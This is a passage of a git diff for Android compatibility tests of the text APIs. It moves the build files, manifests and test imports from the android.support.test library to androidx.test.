</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.telephony2.cts">
<meta-data android:name="listener"
android:value="com.android.cts.runner.CtsTestRunListener" />
diff --git a/tests/tests/text/Android.mk b/tests/tests/text/Android.mk
index b56278c..5f3b5a6 100644
--- a/tests/tests/text/Android.mk
+++ b/tests/tests/text/Android.mk
@@ -24,10 +24,10 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
LOCAL_STATIC_JAVA_LIBRARIES += \
- compatibility-device-util \
- ctsdeviceutillegacy \
- ctstestrunner \
- android-support-test \
+ compatibility-device-util-axt \
+ ctsdeviceutillegacy-axt \
+ ctstestrunner-axt \
+ androidx.test.rules \
mockito-target-minus-junit4 \
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/text/AndroidManifest.xml b/tests/tests/text/AndroidManifest.xml
index bae8481..8534b42 100644
--- a/tests/tests/text/AndroidManifest.xml
+++ b/tests/tests/text/AndroidManifest.xml
@@ -76,7 +76,7 @@
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.text.cts"
android:label="CTS tests of android.text">
<meta-data android:name="listener"
diff --git a/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java b/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java
index e80d233..b65dc0c 100644
--- a/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java
+++ b/tests/tests/text/src/android/text/cts/AlteredCharSequenceTest.java
@@ -21,11 +21,12 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.AlteredCharSequence;
import android.text.Spanned;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java b/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java
index 16a8344..ffa20de 100644
--- a/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java
+++ b/tests/tests/text/src/android/text/cts/AndroidCharacterTest.java
@@ -21,10 +21,11 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.AndroidCharacter;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/AnnotationTest.java b/tests/tests/text/src/android/text/cts/AnnotationTest.java
index a74bc62..28ebca4 100644
--- a/tests/tests/text/src/android/text/cts/AnnotationTest.java
+++ b/tests/tests/text/src/android/text/cts/AnnotationTest.java
@@ -20,10 +20,11 @@
import static org.junit.Assert.assertTrue;
import android.os.Parcel;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Annotation;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/AutoTextTest.java b/tests/tests/text/src/android/text/cts/AutoTextTest.java
index e3d1b52..1539deb 100644
--- a/tests/tests/text/src/android/text/cts/AutoTextTest.java
+++ b/tests/tests/text/src/android/text/cts/AutoTextTest.java
@@ -23,13 +23,14 @@
import android.content.Context;
import android.content.res.Configuration;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.AutoText;
import android.view.View;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
index d5277f5..c926723 100644
--- a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
+++ b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
@@ -22,14 +22,15 @@
import static org.junit.Assert.assertTrue;
import android.icu.util.ULocale;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.BidiFormatter;
import android.text.SpannableString;
import android.text.Spanned;
import android.text.TextDirectionHeuristics;
import android.text.style.RelativeSizeSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
index 847e127..5f17b32 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayoutTest.java
@@ -38,8 +38,6 @@
import android.graphics.Canvas;
import android.graphics.Paint;
import android.os.LocaleList;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.BoringLayout;
import android.text.BoringLayout.Metrics;
import android.text.Layout;
@@ -50,6 +48,9 @@
import android.text.TextPaint;
import android.text.TextUtils;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java b/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java
index 3dc4b73..edb39cf 100644
--- a/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java
+++ b/tests/tests/text/src/android/text/cts/BoringLayout_MetricsTest.java
@@ -18,10 +18,11 @@
import static org.junit.Assert.assertNotNull;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.BoringLayout;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java b/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java
index 39eadce..8d1f4b5 100644
--- a/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java
+++ b/tests/tests/text/src/android/text/cts/ClipboardManagerTest.java
@@ -21,10 +21,11 @@
import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.text.ClipboardManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 42c119a..9537243 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -27,8 +27,6 @@
import static org.mockito.Mockito.mock;
import android.graphics.Paint.FontMetricsInt;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.DynamicLayout;
import android.text.Layout;
import android.text.SpannableStringBuilder;
@@ -37,6 +35,9 @@
import android.text.TextUtils;
import android.text.style.TypefaceSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java b/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java
index aa42505..9f2d2c9 100644
--- a/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java
+++ b/tests/tests/text/src/android/text/cts/Editable_FactoryTest.java
@@ -19,12 +19,13 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.Editable.Factory;
import android.text.SpannableStringBuilder;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/EmojiTest.java b/tests/tests/text/src/android/text/cts/EmojiTest.java
index cb719e9..ec00c8d 100644
--- a/tests/tests/text/src/android/text/cts/EmojiTest.java
+++ b/tests/tests/text/src/android/text/cts/EmojiTest.java
@@ -25,12 +25,6 @@
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Picture;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.TypedValue;
import android.view.KeyEvent;
import android.view.View;
@@ -38,6 +32,13 @@
import android.widget.EditText;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.NullWebViewUtils;
import org.junit.Before;
diff --git a/tests/tests/text/src/android/text/cts/FontCoverageTest.java b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
index 465277d..0006002 100644
--- a/tests/tests/text/src/android/text/cts/FontCoverageTest.java
+++ b/tests/tests/text/src/android/text/cts/FontCoverageTest.java
@@ -23,8 +23,9 @@
import android.icu.lang.UCharacter;
import android.icu.lang.UCharacterCategory;
import android.icu.text.UnicodeSet;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.CddTest;
diff --git a/tests/tests/text/src/android/text/cts/GetCharsTest.java b/tests/tests/text/src/android/text/cts/GetCharsTest.java
index 8faf638..440b46b 100644
--- a/tests/tests/text/src/android/text/cts/GetCharsTest.java
+++ b/tests/tests/text/src/android/text/cts/GetCharsTest.java
@@ -19,13 +19,14 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.GetChars;
import android.text.SpannableString;
import android.text.SpannableStringBuilder;
import android.text.SpannedString;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/HtmlTest.java b/tests/tests/text/src/android/text/cts/HtmlTest.java
index 880da6e..7f785a8 100644
--- a/tests/tests/text/src/android/text/cts/HtmlTest.java
+++ b/tests/tests/text/src/android/text/cts/HtmlTest.java
@@ -22,8 +22,6 @@
import static org.junit.Assert.assertEquals;
import android.graphics.Typeface;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Html;
import android.text.Layout;
import android.text.Spannable;
@@ -42,6 +40,9 @@
import android.text.style.URLSpan;
import android.text.style.UnderlineSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.hamcrest.BaseMatcher;
import org.hamcrest.Description;
import org.junit.Test;
diff --git a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
index 8b351b5..42e0d89 100644
--- a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
+++ b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
@@ -21,8 +21,6 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputFilter;
import android.text.InputFilter.AllCaps;
import android.text.SpannableString;
@@ -30,6 +28,9 @@
import android.text.Spanned;
import android.text.SpannedString;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java b/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java
index 722ad19..45e7643 100644
--- a/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java
+++ b/tests/tests/text/src/android/text/cts/InputFilter_LengthFilterTest.java
@@ -18,12 +18,13 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.InputFilter;
import android.text.InputFilter.LengthFilter;
import android.text.SpannableStringBuilder;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/LayoutTest.java b/tests/tests/text/src/android/text/cts/LayoutTest.java
index d6cd89c..719ee00 100644
--- a/tests/tests/text/src/android/text/cts/LayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/LayoutTest.java
@@ -19,11 +19,12 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
import android.text.TextPaint;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/LoginFilterTest.java b/tests/tests/text/src/android/text/cts/LoginFilterTest.java
index 855823a..058c350 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilterTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilterTest.java
@@ -27,14 +27,15 @@
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.LoginFilter;
import android.text.LoginFilter.UsernameFilterGeneric;
import android.text.SpannableString;
import android.text.Spanned;
import android.text.SpannedString;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java b/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java
index 1f02481..fa8d0de 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilter_PasswordFilterGMailTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.LoginFilter.PasswordFilterGMail;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java
index fd196b8..e6ee8cf 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGMailTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.LoginFilter.UsernameFilterGMail;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java
index 68cc840..5bcca8d 100644
--- a/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java
+++ b/tests/tests/text/src/android/text/cts/LoginFilter_UsernameFilterGenericTest.java
@@ -19,10 +19,11 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.LoginFilter.UsernameFilterGeneric;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/MyanmarTest.java b/tests/tests/text/src/android/text/cts/MyanmarTest.java
index 916b451..81060af 100644
--- a/tests/tests/text/src/android/text/cts/MyanmarTest.java
+++ b/tests/tests/text/src/android/text/cts/MyanmarTest.java
@@ -21,13 +21,14 @@
import android.content.Context;
import android.content.res.Resources;
import android.graphics.Bitmap;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java b/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
index 9491eff..657b393 100644
--- a/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
+++ b/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
@@ -29,9 +29,6 @@
import android.graphics.Color;
import android.graphics.Rect;
import android.graphics.Typeface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
import android.text.PrecomputedText;
import android.text.PrecomputedText.Params;
@@ -44,6 +41,10 @@
import android.text.style.LocaleSpan;
import android.text.style.TextAppearanceSpan;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/SelectionTest.java b/tests/tests/text/src/android/text/cts/SelectionTest.java
index 56d5fc0..05b9308 100644
--- a/tests/tests/text/src/android/text/cts/SelectionTest.java
+++ b/tests/tests/text/src/android/text/cts/SelectionTest.java
@@ -21,8 +21,6 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
import android.text.Selection;
import android.text.SpanWatcher;
@@ -31,6 +29,9 @@
import android.text.StaticLayout;
import android.text.TextPaint;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java b/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java
index dfabe71..5eda801 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringBuilderSpanTest.java
@@ -20,8 +20,6 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Html;
import android.text.Layout;
import android.text.SpanWatcher;
@@ -35,6 +33,9 @@
import android.text.style.ParagraphStyle;
import android.text.style.QuoteSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
index b8f3f42..b3241e6 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringBuilderTest.java
@@ -23,8 +23,6 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.InputFilter;
import android.text.Selection;
@@ -38,6 +36,9 @@
import android.text.style.TabStopSpan;
import android.text.style.UnderlineSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/SpannableStringTest.java b/tests/tests/text/src/android/text/cts/SpannableStringTest.java
index 3771613..0c13097 100644
--- a/tests/tests/text/src/android/text/cts/SpannableStringTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannableStringTest.java
@@ -21,8 +21,6 @@
import static junit.framework.Assert.assertSame;
import static junit.framework.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
import android.text.SpannableString;
import android.text.SpannableStringBuilder;
@@ -34,6 +32,9 @@
import android.text.style.QuoteSpan;
import android.text.style.UnderlineSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java b/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java
index 4969e67..98fe9f0 100644
--- a/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java
+++ b/tests/tests/text/src/android/text/cts/Spannable_FactoryTest.java
@@ -21,12 +21,13 @@
import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Spannable;
import android.text.Spannable.Factory;
import android.text.SpannableString;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/SpannedStringTest.java b/tests/tests/text/src/android/text/cts/SpannedStringTest.java
index ccdb119..f09828c 100644
--- a/tests/tests/text/src/android/text/cts/SpannedStringTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannedStringTest.java
@@ -21,10 +21,11 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.SpannedString;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/SpannedTest.java b/tests/tests/text/src/android/text/cts/SpannedTest.java
index 12ebfed..4d5ac59 100644
--- a/tests/tests/text/src/android/text/cts/SpannedTest.java
+++ b/tests/tests/text/src/android/text/cts/SpannedTest.java
@@ -19,8 +19,6 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Spannable;
import android.text.SpannableString;
import android.text.SpannableStringBuilder;
@@ -30,6 +28,9 @@
import android.text.style.QuoteSpan;
import android.text.style.UnderlineSpan;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
index 870dd34..42d9b3a 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
@@ -20,9 +20,6 @@
import android.content.Context;
import android.graphics.Typeface;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
import android.text.Layout.Alignment;
import android.text.SpannableStringBuilder;
@@ -33,6 +30,10 @@
import android.text.style.MetricAffectingSpan;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 17455e0..05fc9e6 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -33,10 +33,6 @@
import android.graphics.Paint.FontMetricsInt;
import android.graphics.Typeface;
import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.filters.Suppress;
-import android.support.test.runner.AndroidJUnit4;
import android.text.Editable;
import android.text.Layout;
import android.text.Layout.Alignment;
@@ -56,6 +52,11 @@
import android.text.style.StyleSpan;
import android.text.style.TextAppearanceSpan;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.filters.Suppress;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/TextUtilsTest.java b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
index 0b4f625..92e2321 100644
--- a/tests/tests/text/src/android/text/cts/TextUtilsTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
@@ -39,9 +39,6 @@
import android.os.LocaleList;
import android.os.Parcel;
import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.GetChars;
import android.text.SpannableString;
import android.text.SpannableStringBuilder;
@@ -56,6 +53,10 @@
import android.text.style.URLSpan;
import android.util.StringBuilderPrinter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java b/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java
index 7993f58..3375d89 100644
--- a/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtils_SimpleStringSplitterTest.java
@@ -22,10 +22,11 @@
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils.SimpleStringSplitter;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
index 3715c61..98c1e52 100644
--- a/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateFormatTest.java
@@ -29,12 +29,13 @@
import android.os.LocaleList;
import android.os.ParcelFileDescriptor;
import android.provider.Settings;
-import androidx.annotation.NonNull;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.format.DateFormat;
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.SystemUtil;
import org.junit.After;
diff --git a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
index a3d4806..fc4ef5a 100644
--- a/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
+++ b/tests/tests/text/src/android/text/format/cts/DateUtilsTest.java
@@ -23,11 +23,12 @@
import static org.junit.Assert.assertTrue;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.format.DateUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/format/cts/FormatterTest.java b/tests/tests/text/src/android/text/format/cts/FormatterTest.java
index 8c7fdc9..02312cb 100644
--- a/tests/tests/text/src/android/text/format/cts/FormatterTest.java
+++ b/tests/tests/text/src/android/text/format/cts/FormatterTest.java
@@ -21,11 +21,12 @@
import android.content.Context;
import android.content.res.Configuration;
import android.os.LocaleList;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.format.Formatter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/text/src/android/text/format/cts/TimeTest.java b/tests/tests/text/src/android/text/format/cts/TimeTest.java
index 0d9673a..267b705 100644
--- a/tests/tests/text/src/android/text/format/cts/TimeTest.java
+++ b/tests/tests/text/src/android/text/format/cts/TimeTest.java
@@ -23,12 +23,13 @@
import android.content.res.Configuration;
import android.content.res.Resources;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.format.Time;
import android.util.Log;
import android.util.TimeFormatException;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
